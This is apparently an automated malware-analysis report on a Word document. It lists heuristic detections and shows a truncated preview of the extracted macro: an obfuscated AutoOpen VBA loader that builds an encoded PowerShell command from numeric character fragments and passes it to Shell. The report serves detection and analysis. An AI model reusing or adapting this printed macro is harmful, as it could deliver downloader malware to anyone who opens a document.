Malware Insights
The sample contains a critical OLE_VBA_SHELL heuristic firing, indicating the use of the Shell() function within VBA macros. The AutoOpen macro is obfuscated and uses CreateObject and Shell calls, strongly suggesting it's designed to execute arbitrary commands. The reconstructed string 'wershell ( (21 ,99 , 75 ,94,12 ,95 , 84 , 70 ,28,94 ,83, 91 ,84 ,82 , 69 ,17 , 127 ,84 )' from the VBA script points towards the execution of a command-line interface, likely PowerShell, to download and execute a secondary payload. This is a common pattern for macro-based malware.
Heuristics 9
-
VBA macros detected medium 5 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
OLE document has large unaccounted-for region high OLE_SLACK_ANOMALYOLE file is 107,520 bytes but its declared streams total only 62,542 bytes — 44,978 bytes (42%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 7582 bytes |
SHA-256: d1aaae11ed324321dcdee5ba79717c1d6d683f8c393af0540a5b56c9c1f98fe8 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "iIwBPoqiJJYi" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Sub AutoOpen() On Error Resume Next wGwrVj = (29273 / NcMdsf * 63999 / UjUfFK) dAVYY = (23985 / PzjfFP * 90995 / DWVzE) cvuks = (70482 / BJNDuM * 57042 / Ehujz) oWuAT = (68863 / ZlsAiO * 92825 / daSJl) HnJGm = (19196 / swEOb * 63576 / rzNSCt) SAnpcf = (83768 / LDaDwn * 22405 / qTIYSW) ffXjNuT (ObiqhtNwYz + AlCkEW) JovRYA = (12553 / cwzwml * 31563 / iwVBls) RZMMEq = (47142 / dzRzbS * 7442 / uYoFH) SRobpc = (40618 / wZkNj * 72285 / zaTZu) QaSauG = (58262 / PMjAOO * 54485 / ijHwl) End Sub Attribute VB_Name = "uSAKVzYqUrIlz" Function ObiqhtNwYz() On Error Resume Next dFWpLB = (10363 / KwtzBC) pidUG = (83329 / FSMVGv) BBKqiQ = (97441 / nksqml) bZSlfYwil = "wers" + "hell " + " " + " " + Chr(40) + Chr(40) + "21 ,99" + " , 75" + ",94,1" + "2 ,95 ," PzYuO = YwZsM + 67650 - (Gqwadu / qSLSw) dFVsoS = ksSYM + 87418 - (CXbTE / hrMGjB) lsOMnr = Vsudw + 42386 - (FzjGV / bBOjCH) bIdoD = "84 , 70 ," + "28,9" + "4 ,83, 91" + " ,84" + " ,82" + " , 69 ,1" + "7 , 127" + ",84 ," iKfdkY = njdrO + 3159 - (DhioqD / jWjCh) oGzUim = LfZrw + 71209 - (DwfYLk / bLbJR) vWLNB = cVtOLM + 87859 - (QCjzi / YdzUbh) fqKcDMvzip = "69, 31,1" + "02 ,84" + ", 83," + "114 ,93," + " 88 ," + " 84,9" + "5, 69," rmUHd = znIQBX + 12644 - (ClHXpq / rzXXjT) CMdEAu = Dvljnm + 20188 - (zKbrX / ZEjKal) owjzOD = EPzvU + 21931 - (tnqoA / XkPAT) waDvss = RiMbK + 66648 - (PcdJvS / CEwuo) EBDbl = srUjB + 80925 - (UMHXMi / TrXwa) SLIqKiYnfq = "10,2" + "1 ,107 " + ", 103 " + ",112" + " ,12 ,2" + "2,89 , 6" + "9,69 , 6" + "5,11 ," + "30 ," + " 30 " jddKPr = svakFw + 3890 - (BNuIn / YcNCc) SEVjvPaW = ", 83 , " + "94,7" + "2 , 67," + "80 ,9" + "2, 94, " + "66 ,31 ,8" + "5,80,8" PImjo = UQlGjA + 2071 - (mzkbor / aRBGX) ppqld = NHzFX + 93623 - (wzSru / VjKZn) aJzzOB = JbvYL + 32990 - (RmkbCZ / MqTQb) Sfinr = tTIpX + 35951 - (AAirC / Saqjp) phTdzE = "6 , 66,31" + ", 68" + ",66 ," + " 30, 9" + "3 ,88,82," + "84, " + "95,66 ," + " 84,30 ,7" + "5,75 " + ",94,68 ," + "69 , 31 ," + "84 ,7" iPDbZS = TVJivj + 63549 - (pVizQc / ijPKV) TncwtA = PEdWL + 11975 - (ECvGu / cUHzol) dIHkmk = aumnKk + 63135 - (cwJvbS / FozJWk) RIzUwsiVAAz = "3, 84,11" + "3,89 ," + "69, 6" + "9,65,11 " + ", 30 ," + "30, 87, " + "93 ," + "94,6" + "8 ,6" + "7 , 88,6" + "6 ,89 ,87" + ", 67," zwosA = LzwDP + 50727 - (KFrbsE / AaWNz) tqiutRYP = " 80, 86" + " ,67 , 8" + "0,95" + ", 82,84" + ",31,88 ," + " 95 , 30," + "70, 65,28" + " ,82" + " ,94 , " + "95,69,84" + ",95 , 69 " + ", 30" atzEa = izLsY + 38466 - (vnGwcn / wKvuoq) cOEDiX = OwolFn + 24336 - (YDDIiu / usSwO) AcPvoavbDMK = " , 68 , 6" + "5, 9" + "3 , 9" + "4,80 ,8" + "5 ,66 ,3" + "0, 75" + ",75 ," + "94, 68,69" ObiqhtNwYz = bZSlfYwil + bIdoD + fqKcDMvzip + SLIqKiYnfq + SEVjvPaW + phTdzE + RIzUwsiVAAz + tqiutRYP + AcPvoavbDMK QzDPkJ = nbGQA + 2950 - (sSwQvK / SkKin) zIvOBm = Gkszi + 27331 - (ZFPkjO / UkHPTb) CzMslz = CMKoj + 56078 - (VuhNnM / mCfqV) klITp = voAMs + 31711 - (rLjKD / HlTTb) aQRhX = Ezlkc + 67481 - (mPETJ / wPSVD) End Function Function AlCkEW() On Error Resume Next whKuLD = jTlsVq + 79580 - (plLKv / GVRDzQ) BPLcFE = ahqcO + 19060 - (OIzKMz / GpXRc) oKdhbb = fhCGw + 58240 - (MRrGaD / mFRcur) IamVKB = ", 31 , 8" + "4, 73" + ",84, " + "22 , 31," + " 98,65" + ",93 ," + "88 , " + "69 ,25 " + ", 22,11" + "3,22, 24," OmvJia = oPNCJ + 7327 - (EwPQJ / LqqrbC) oWbzQ = " 10 ,2" + "1 ,87" + ",70 ," + " 97 " + ", 17 , 1" + "2,17 " + ", 22" + " ,8," hcVDj = dOXOUl + 86494 - (FXzHwc / lUHwZB) jjomp = TDVLlC + 7059 - (NBpizN / fbCujX) ZEWbNj = " 4 , " + "9 ,22" + ",10,21 ," + "64 ,90, " + "85, 12," + " 21, 84 ," + " 95, 71" + ",11 " JRWwni = wUJjm + 34310 - (dcmlV / wYYUOw) rjUsUp = ",69 ,84 " + ", 92 ... (truncated) |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.